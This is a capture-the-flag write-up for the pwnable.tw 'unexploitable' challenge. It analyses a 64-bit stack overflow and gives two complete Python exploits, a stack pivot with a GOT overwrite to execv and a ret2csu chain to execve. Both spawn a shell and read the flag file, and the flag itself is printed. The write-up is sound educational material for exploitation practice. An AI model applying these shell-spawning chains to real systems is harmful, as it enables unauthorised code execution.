Challenge Information
Reverse Engineering
Let’s start with checking the binary mitigations. We can use checksec
to do that:
alter ^ Sol in /mnt/e/sec/lab/pwnable.tw/unexploitable$ checksec unexploitable[*] '/mnt/e/sec/lab/pwnable.tw/unexploitable/unexploitable' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
We can see that the binary is not stripped, which is a good thing for us. We can also see that there is no stack canary, which means we can overwrite the return address of a function. The binary is also not position independent, which means that the address of the functions will be the same every time we run the binary. Dive into the decompiled code to see what is going on
int __fastcall main(int argc, const char **argv, const char **envp){ _BYTE buf[16]; // [rsp+0h] [rbp-10h] BYREF
sleep(3u); return read(0, buf, 0x100uLL);}
There’s only have one main
function. In this function, we can see that it sleeps for 3 seconds and then calls the read
function. The read
function reads 0x100
bytes from the standard input into the buffer buf
. The buffer is only 16 bytes long, so we have Buffer Overflow
here.
Exploit Strategies
With only one function in the binary, and it allows us just to read 0x100
bytes into a buffer, no leak, no win
function. So what we can do now?
I have a few ideas in my mind:
- Because there is
Partial RELRO
, we can overwrite the GOT entry ofsleep
function to point toexecv
function. This function is not too far from thesleep
function, so we can completely overwrite it withPartial Overwrite
- The binary has
__libc_csu_init
, which is really OP function. We can call everything using this function. This technique also calledret2csu
And in this write up, I will still give the method of doing the twwo in as much detail as possible.
Exploit
Method 1: Stack Pivot
I call this method Stack Pivot because my whole process is just pivoting and overwriting sleep
-> execv
. But first let’s collect some useful gadgets
mov_edi = 0x400600 # mov edi, [rsp+0x30] ; add rsp, 0x38 ; ret ; leave_ret = 0x400576 ret = leave_ret + 1 read_gadget = 0x40055B
In this way I will mainly use these 4 gadgets. Everything has only one strange thing, the mov
gadget, because the __libc_csu_init
function in this binary has been recoded so it doesn’t have the pop
gadgets like before, but that’s okay the mov gadget still has a similar function. And the reason I chose the execv
function is because it really only needs one argument to drop the shell for us. According to the man page we can know that:
SYNOPSIS #include <unistd.h>
extern char **environ; int execv(const char *pathname, char *const argv[]);
DESCRIPTION <...> v - execv(), execvp(), execvpe() The char *const argv[] argument is an array of pointers to null-terminated strings that represent the argument list available to the new program. The first argument, by convention, should point to the filename associated with the file being executed. The array of pointers must be terminated by a null pointer.
So first we will start pivoting, because we will pivot into the section of sleep@GOT
and when it returns it will return sleep@GOT + 0x18
, so our first payload will have to be to read some areas of sleep@GOT + 0x10 + 0x10
then when we return in payload 2 when we use it to write to sleep@GOT
it will have data to return. So our payload 1 will be like this:
offset = 0x10 read_gadget = 0x40055B bss = 0x601800 mov_edi = 0x400600 # mov edi, [rsp+0x30] ; add rsp, 0x38 ; ret ; leave_ret = 0x400576 ret = leave_ret + 1
payload = flat({ offset: [ exe.got.sleep + 0x10 + 0x10, read_gadget ] }, filler=b'A')
# input("Payload 1") sleep(4) s(payload)
And payload 2 is the same when it returns it will return to sleep@GOT + 0x18
. Because our payload 2 will start from sleep@GOT + 0x10
so we will set up a place so that after reading it will return to:
# Start at 0x601020 payload = flat(
bss - 0x100 + 0x10, read_gadget,
exe.got.sleep + 0x10, read_gadget
)
# input("Payload 2") sleep(0.5) s(payload)
# input("Payload 3") sleep(0.5) s(p16(0x9cb0))
It looks complicated but let me debug it for you
pwndbg> x/20xg 0x6010100x601010 <sleep@got.plt>: 0x00007ffff7ad9680 0x00000000000000000x601020: 0x0000000000601710 0x000000000040055b (2)0x601030 <dtor_idx.6533>: 0x0000000000601020 0x000000000040055b (1)0x601040: 0x0000000000000000 0x00000000000000000x601050: 0x0000000000000000 0x00000000000000000x601060: 0x0000000000000000 0x00000000000000000x601070: 0x0000000000000000 0x00000000000000000x601080: 0x0000000000000000 0x00000000000000000x601090: 0x0000000000000000 0x00000000000000000x6010a0: 0x0000000000000000 0x0000000000000000
This is the data when I read the 2nd payload in, and when it executes first it will execute the gadget at address 0x601038
first then when it returns it will take the value of saved RBP
at 0x601030
which is 0x601020
to return then it continues to execute and gives us the 3rd read. And now we check in the GOT table and see that sleep
has been overwritten to execv
pwndbg> gotFiltering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /mnt/e/sec/lab/pwnable.tw/unexploitable/unexploitable_patched:GOT protection: Partial RELRO | Found 3 GOT entries passing the filter[0x601000] read@GLIBC_2.2.5 -> 0x7ffff7b04670 (read) ◂— cmp dword ptr [rip + 0x2d20c9], 0[0x601008] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7a2e740 (__libc_start_main) ◂— push r14[0x601010] sleep@GLIBC_2.2.5 -> 0x7ffff7ad9cb0 (execv) ◂— mov rax, qword ptr [rip + 0x2f7201]
And the last thing we will do is set up the necessary things to call execv
. I won’t explain this part too much because it’s not too complicated. You can debug my script to understand better.
# Start at 0x601700 payload = flat(
0, mov_edi,
bss - 0x100, leave_ret,
b'C'*0x20, p64(bss - 0x100 + 0x50), exe.plt.sleep, b'/bin/sh\0',
)
input("Payload 4") sleep(0.5) s(payload)
Because ASLR is always enabled, we need to brute force when running the script in remote. Note that the program will read our input after sleeping for 3 seconds, so to be safe and not mess up our inputs, we should let our exploit sleep for 4 seconds before reading the first payload, and don’t forget to let the exploit sleep in small intervals so that the input readings don’t overlap.
Full exploit
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./unexploitable_patched', checksec=False)libc = exe.libc
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.DOCKER: p = remote("localhost", 5000) sleep(1) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv, *a, **kw)
gdbscript = '''init-pwndbg# b *0x400576b *0x400577c'''
# ==================== EXPLOIT ====================
while True: p = start()
def exploit():
offset = 0x10 read_gadget = 0x40055B bss = 0x601800 mov_edi = 0x400600 # mov edi, [rsp+0x30] ; add rsp, 0x38 ; ret ; leave_ret = 0x400576 ret = leave_ret + 1
payload = flat({ offset: [ exe.got.sleep + 0x10 + 0x10, read_gadget ] }, filler=b'A')
# input("Payload 1") sleep(4) s(payload)
# Start at 0x601020 payload = flat(
bss - 0x100 + 0x10, read_gadget,
exe.got.sleep + 0x10, read_gadget
)
# input("Payload 2") sleep(0.5) s(payload)
# input("Payload 3") sleep(0.5) s(p16(0x9cb0))
# Start at 0x601700 payload = flat(
0, mov_edi,
bss - 0x100, leave_ret,
b'C'*0x20, p64(bss - 0x100 + 0x50), exe.plt.sleep, b'/bin/sh\0',
)
# input("Payload 4") sleep(0.5) s(payload)
try: sleep(0.5) sl(b'echo WIN!!') ru(b'WIN!!') return True except: close() return False
interactive()
if __name__ == '__main__': if exploit(): sl(b'cat /home/unexploitable/f*') interactive() break# FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}
Yes yes, I think this is unintended solution base on that flag 🥹
Method 2: ret2csu
So for this method, we will target 2 gadget in csu
, and syscall
gadget by overwrite sleep
GOT:
pwndbg> disass __libc_csu_initDump of assembler code for function __libc_csu_init:19 collapsed lines
0x0000000000400580 <+0>: mov QWORD PTR [rsp-0x28],rbp 0x0000000000400585 <+5>: mov QWORD PTR [rsp-0x20],r12 0x000000000040058a <+10>: lea rbp,[rip+0x200893] # 0x600e24 0x0000000000400591 <+17>: lea r12,[rip+0x20088c] # 0x600e24 0x0000000000400598 <+24>: mov QWORD PTR [rsp-0x18],r13 0x000000000040059d <+29>: mov QWORD PTR [rsp-0x10],r14 0x00000000004005a2 <+34>: mov QWORD PTR [rsp-0x8],r15 0x00000000004005a7 <+39>: mov QWORD PTR [rsp-0x30],rbx 0x00000000004005ac <+44>: sub rsp,0x38 0x00000000004005b0 <+48>: sub rbp,r12 0x00000000004005b3 <+51>: mov r13d,edi 0x00000000004005b6 <+54>: mov r14,rsi 0x00000000004005b9 <+57>: sar rbp,0x3 0x00000000004005bd <+61>: mov r15,rdx 0x00000000004005c0 <+64>: call 0x400400 <_init> 0x00000000004005c5 <+69>: test rbp,rbp 0x00000000004005c8 <+72>: je 0x4005e6 <__libc_csu_init+102> 0x00000000004005ca <+74>: xor ebx,ebx 0x00000000004005cc <+76>: nop DWORD PTR [rax+0x0] 0x00000000004005d0 <+80>: mov rdx,r15 0x00000000004005d3 <+83>: mov rsi,r14 0x00000000004005d6 <+86>: mov edi,r13d 0x00000000004005d9 <+89>: call QWORD PTR [r12+rbx*8] 0x00000000004005dd <+93>: add rbx,0x1 0x00000000004005e1 <+97>: cmp rbx,rbp 0x00000000004005e4 <+100>: jne 0x4005d0 <__libc_csu_init+80> 0x00000000004005e6 <+102>: mov rbx,QWORD PTR [rsp+0x8] 0x00000000004005eb <+107>: mov rbp,QWORD PTR [rsp+0x10] 0x00000000004005f0 <+112>: mov r12,QWORD PTR [rsp+0x18] 0x00000000004005f5 <+117>: mov r13,QWORD PTR [rsp+0x20] 0x00000000004005fa <+122>: mov r14,QWORD PTR [rsp+0x28] 0x00000000004005ff <+127>: mov r15,QWORD PTR [rsp+0x30] 0x0000000000400604 <+132>: add rsp,0x38 0x0000000000400608 <+136>: retpwndbg> gotFiltering out read-only entries (display them with -r or --show-readonly)
State of the GOT of /mnt/e/sec/lab/pwnable.tw/unexploitable/unexploitable_patched:GOT protection: Partial RELRO | Found 3 GOT entries passing the filter[0x601000] read@GLIBC_2.2.5 -> 0x7ffff7b04670 (read) ◂— cmp dword ptr [rip + 0x2d20c9], 0[0x601008] __libc_start_main@GLIBC_2.2.5 -> 0x7ffff7a2e740 (__libc_start_main) ◂— push r14[0x601010] sleep@GLIBC_2.2.5 -> 0x7ffff7ad9680 (sleep) ◂— push rbppwndbg> x/30i 0x7ffff7ad968029 collapsed lines
0x7ffff7ad9680 <__sleep>: push rbp 0x7ffff7ad9681 <__sleep+1>: push rbx 0x7ffff7ad9682 <__sleep+2>: mov eax,edi 0x7ffff7ad9684 <__sleep+4>: sub rsp,0x18 0x7ffff7ad9688 <__sleep+8>: mov rbx,QWORD PTR [rip+0x2f77e9] # 0x7ffff7dd0e78 0x7ffff7ad968f <__sleep+15>: mov rdi,rsp 0x7ffff7ad9692 <__sleep+18>: mov rsi,rsp 0x7ffff7ad9695 <__sleep+21>: mov QWORD PTR [rsp+0x8],0x0 0x7ffff7ad969e <__sleep+30>: mov QWORD PTR [rsp],rax 0x7ffff7ad96a2 <__sleep+34>: mov ebp,DWORD PTR fs:[rbx] 0x7ffff7ad96a5 <__sleep+37>: call 0x7ffff7ad9730 <nanosleep> 0x7ffff7ad96aa <__sleep+42>: test eax,eax 0x7ffff7ad96ac <__sleep+44>: js 0x7ffff7ad96c0 <__sleep+64> 0x7ffff7ad96ae <__sleep+46>: mov DWORD PTR fs:[rbx],ebp 0x7ffff7ad96b1 <__sleep+49>: add rsp,0x18 0x7ffff7ad96b5 <__sleep+53>: xor eax,eax 0x7ffff7ad96b7 <__sleep+55>: pop rbx 0x7ffff7ad96b8 <__sleep+56>: pop rbp 0x7ffff7ad96b9 <__sleep+57>: ret 0x7ffff7ad96ba <__sleep+58>: nop WORD PTR [rax+rax*1+0x0] 0x7ffff7ad96c0 <__sleep+64>: mov eax,DWORD PTR [rsp] 0x7ffff7ad96c3 <__sleep+67>: add rsp,0x18 0x7ffff7ad96c7 <__sleep+71>: pop rbx 0x7ffff7ad96c8 <__sleep+72>: pop rbp 0x7ffff7ad96c9 <__sleep+73>: ret 0x7ffff7ad96ca: nop WORD PTR [rax+rax*1+0x0] 0x7ffff7ad96d0 <pause>: cmp DWORD PTR [rip+0x2fd069],0x0 # 0x7ffff7dd6740 <__libc_multiple_threads> 0x7ffff7ad96d7 <pause+7>: jne 0x7ffff7ad96e9 <pause+25> 0x7ffff7ad96d9 <__pause_nocancel>: mov eax,0x22 0x7ffff7ad96de <__pause_nocancel+5>: syscall
So that’s the idea, with the power of __libc_csu_init
we can call everything we want. So this is my exploit for it, please debug it to understand better:
34 collapsed lines
#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwnie import *from subprocess import check_outputfrom time import sleep
context.log_level = 'debug'context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]exe = context.binary = ELF('./unexploitable_patched', checksec=False)libc = exe.libc
def start(argv=[], *a, **kw): if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw) elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw) elif args.DOCKER: p = remote("localhost", 5000) sleep(1) pid = int(check_output(["pidof", "-s", "/app/run"])) gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path) pause() return p else: return process([exe.path] + argv, *a, **kw)
gdbscript = '''init-pwndbgb *0x400577c'''
p = start()
# ==================== EXPLOIT ====================
def ret2csu(rbx, rbp, r12, r13, r14, r15, ret):
payload = flat( [ 0, # rsp + 0x0 rbx, # rsp + 0x8 rbp, # rsp + 0x10 r12, # rsp + 0x18 r13, # rsp + 0x20 r14, # rsp + 0x28 r15, # rsp + 0x30 ret # rsp + 0x38 ] )
return payload
def exploit():
offset = 0x18 csu_gadget1 = 0x4005e6 # mov rbx, qword [rsp+0x08]; mov rbp, qword [rsp+0x10]; mov r12, qword [rsp+0x18]; mov r13, qword [rsp+0x20]; mov r14, qword [rsp+0x28]; mov r15, qword [rsp+0x30]; add rsp, 0x38; ret; csu_gadget2 = 0x4005d0 # mov rdx,r15; mov rsi,r14; mov edi,r13d; call QWORD PTR [r12+rbx*8]; add rbx,0x1; cmp rbx,rbp; jne 0x4005d0 <__libc_csu_init+80> bss = 0x601800 main = exe.sym.main read_got = exe.got['read'] sleep_got = exe.got['sleep']
# call = r12 # rdi = r13 # rsi = r14 # rdx = r15
payload = b'A'*offset payload += p64(csu_gadget1) payload += ret2csu(0, 1, read_got, 0, bss+0x100, 0x8, csu_gadget2) # Read /bin/sh string into bss+0x100 payload += ret2csu(0, 0, 0, 0, 0, 0, main) # Return to main for another read
sleep(3) input("Payload 1") s(payload)
input("Read /bin/sh string") s(b'/bin/sh\0')
payload = b'B'*offset payload += p64(csu_gadget1) payload += ret2csu(0, 1, read_got, 0, sleep_got, 0x1, csu_gadget2) # Overwrite sleep_got to syscall gadget payload += ret2csu(0, 1, read_got, 0, bss, 0x3b, csu_gadget2) # Setup rax to syscall number 0x3b (execve) payload += ret2csu(0, 1, sleep_got, bss+0x100, 0, 0, csu_gadget2) # Call execve
sleep(3) input("Payload 2") s(payload)
input("Overwrite sleep_got") s(p8(0xde))
input("Call execve") s(b'C'*0x3b)
sl(b'cat /home/unexploitable/f*')
interactive()
if __name__ == '__main__': exploit()
Note that rbx
and rbp
must be 0
and 1
so that when it will do add rbx,0x1; cmp rbx,rbp; jne 0x4005d0 <__libc_csu_init+80>
it will not loop back to csu_gadget2
again.